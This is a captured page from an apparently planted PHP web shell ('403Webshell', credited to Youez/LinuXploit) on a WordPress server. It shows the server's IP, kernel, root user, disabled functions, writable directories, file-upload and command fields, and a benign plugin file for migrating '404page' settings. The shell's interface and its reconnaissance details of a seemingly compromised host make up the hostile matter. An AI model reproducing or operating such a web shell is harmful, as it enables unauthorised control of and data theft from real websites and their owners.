403Webshell
Server IP : 65.109.86.83  /  Your IP : 216.73.217.84
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/404page/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/404page/inc/class-404page-deprecated.php
<?php

/**
 * The 404page deprecated class
 *
 * to ensure backward compatibility
 *
 * @since  11.0.0
 */
 
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

/**
 * The deprecated plugin class
 */
if ( !class_exists( 'PP_404Page_Deprecated' ) ) {
  
  class PP_404Page_Deprecated extends PPF09_SubClass {  
    
    /**
	   * Do Init
     *
     * @since 11.0.0
     * @access public
     */
    public function init() {

     
      // since 11.0.0 all settings are stored in a single serialized value
      // collet all the individual settings from older versions and create the serialized value
      // plus the user meta data are deleted
      
      $newkey  = str_replace( '-', '_', $this->core()->get_plugin_slug() ) . '_settings';
      
      if ( false === get_option( $newkey ) ) {
        
        if ( false !== get_option( '404page_page_id' ) ) {
          
          $oldkeys = array(
            '404page_page_id',
            '404page_hide',
            '404page_fire_error',
            '404page_force_error',
            '404page_no_url_guessing',
            '404page_http410_if_trashed',
            '404page_method'
          );
          
          $newvals = array();
          
          foreach ( $oldkeys as $key ) {
            
            $newvals[ str_replace( '404page_', '', $key ) ] = get_option( $key );
            delete_option( $key );
            
          }
          
          update_option( $newkey, $newvals );
          
          
          // delete user meta for old admin notices for all users
          foreach ( array( 'pp-404page-admin-notice-1', 'pp-404page-admin-notice-2', 'pp-404page-update-notice-v8', 'pp-404page-update-notice-v9' ) as $key ) {
            delete_metadata( 'user', false, $key, false, true );
          }
          
        }
        
      }
    
    }

  }
  
}

Youez - 2016 - github.com/yon3zu
LinuXploit